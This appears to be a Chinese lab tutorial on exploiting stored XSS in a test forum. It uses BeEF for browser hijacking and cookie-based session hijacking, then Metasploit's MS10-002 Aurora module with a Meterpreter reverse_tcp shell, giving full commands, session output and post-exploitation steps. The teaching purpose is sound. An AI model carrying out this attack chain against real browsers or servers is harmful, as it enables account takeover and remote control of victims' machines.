(1)加深对XSS漏洞的理解;
(2)了解beEF的使用。
(1)服务器:win2008,IP地址为172.16.1.1。部署WAMP环境并之前写过一个的简单论坛网站,启动phpstudy,确保论坛能被访问。部署WAMP环境具体可参考《【语言环境】WAMP环境部署及优化—以win2008R2SP1为操作系统》、简单论坛网站的开发可参考《【(SQL+HTML+PHP)综合】一个简单论坛网站的综合开发案例(具有用户注册、登录、注销、修改信息、留言等功能)》。
(2)靶机:winxp,IP地址为172.16.1.5。
(3)攻击者:kali,IP地址为172.16.1.10。安装有beEF。
定义:
常见的浏览器劫持现象有:
危害:浏览器一旦被劫持,就意味这用户无法决定自己的电脑里将被存放进什么资料,这无疑存在巨大安全隐患。
(1)首先,kali作为攻击者需要先补下鱼饵。访问win2008上的简陋论坛网站,注册并登录b账户(密码1),在上面留言,利用存储型XSS漏洞执行shellcode。留言标题为明天会更好,留言内容如下:明天会更好。
(2)受害者查看了攻击者的留言。受害者winXP登录了自己的a账号(密码1)访问了该简陋论坛网站,并点开了攻击者的留言。
(3)kali劫持了winxp的浏览器。回到Kali系统,可以看到鱼儿上钩。当靶机关闭浏览器时,就会显示鱼儿下线。
(4)在kali虚拟机中,在Web界面管理控制台先选中目标,在选择redirect browser对靶机的浏览器网页进行重定向,输入要控制其重定向的目标网站,比如这里输入www.baidu.com,将控制靶机浏览器跳转到百度首页。
在《【PHP基础-9】Session机制详解及Session身份认证应用案例》一文中,我们介绍过会话劫持与会话固定,此处再现一次会话劫持,并补充该攻击的实验过程。
含义
会话劫持(Session hijacking),这是一种通过获取用户Session ID后,使用该Session ID登录目标账号的攻击方法,此时攻击者实际上是使用了目标账户的有效Session。会话劫持的第一步是取得一个合法的会话标识来伪装成合法用户,因此需要保证会话标识不被泄漏。
攻击步骤
防御方法
(1)首先按浏览器劫持的方法,让鱼儿上钩。如案例一
(2)窃取Cookie。选中靶机,在command面板找到GetCookie命令并执行,执行后可以看到已经获取到靶机访问论坛是的Cookie: cookie=name=a;
(3)Cookie利用。在Kali系统上,打开留言区,在留言论坛首页,退出登录,按下F12进入控制台模块,输入命令如下:document.cookie="name=a"
刷新,可以看到首页登录了账号a。
利用漏洞获取一定的服务器权限就是getshell,如果是web漏洞就叫webshell,还有别的shell,ftp、sql、3899、4899等等,一般来说这个shell权限很低,需要提权后才能获取服务器的管理员权限。
ms10002漏洞可以通过winxp的IE浏览器GetShell;
该部分内容将在学习metasploit技术时完整提高。在本节中仅简单了解GetShell目标的实现。具体步骤如下:
(1)输入命令msfconsole
启动该功能。启动过程如下,等得有点久。
(2)输入以下命令设置参数,执行过程中终端命令行如下:
use exploit/windows/browser/ms10_002_aurora
set payload windows/meterpreter/reverse_tcp
set SRVHOST 172.16.1.10
set LHOST 172.16.1.10
show options
exploit
(3)复制执行过程中倒数第二行代码的网址http://172.16.1.10:8080/8Pph64EgzIeH9
,作为目标靶机重定向的网址。回到beef管理平台:选中靶机→选择命令redirect browser→黏贴网址箭头执行。
(4)执行后可以看到kali终端命令行新建会话如下,用session ID来表示第几个会话。注意,执行后我们就获得了目标主机的shell,但是该shell的前提是目标浏览器是开着的情况下,当浏览器浏览其他网页或下线后,该shell就无效。
[*] 172.16.1.5 ms10_002_aurora - Sending MS10-002 Microsoft Internet Explorer "Aurora" Memory Corruption
[*] Sending stage (175174 bytes) to 172.16.1.5
[*] Meterpreter session 1 opened (172.16.1.10:4444 -> 172.16.1.5:1159 ) at 2022-06-02 04:23:48 -0400
(5)使用命令sessions -i
查询会话列表,使用命令sessions -i -1
切换至ID为1的会话。
(6)使用ps
命令,查看有哪些进程,执行过程如下。
(7)使用命令getpid
查看当前是哪个进程。查看结果为1096,也就是浏览器进程。
(8)使用命令getuid
查看当前用户。
(9)使用命令migrate+进程号
切换至目标进程,并执行,如果切换过程中浏览器关闭则会话断开。
(1)了解beEF工具的使用;
(2)加深理解XSS漏洞的利用和危害;
(3)掌握浏览器劫持的攻击方法;
(4)掌握会话劫持的攻击方法;
(5)掌握通过XSS漏洞GetShell的方法。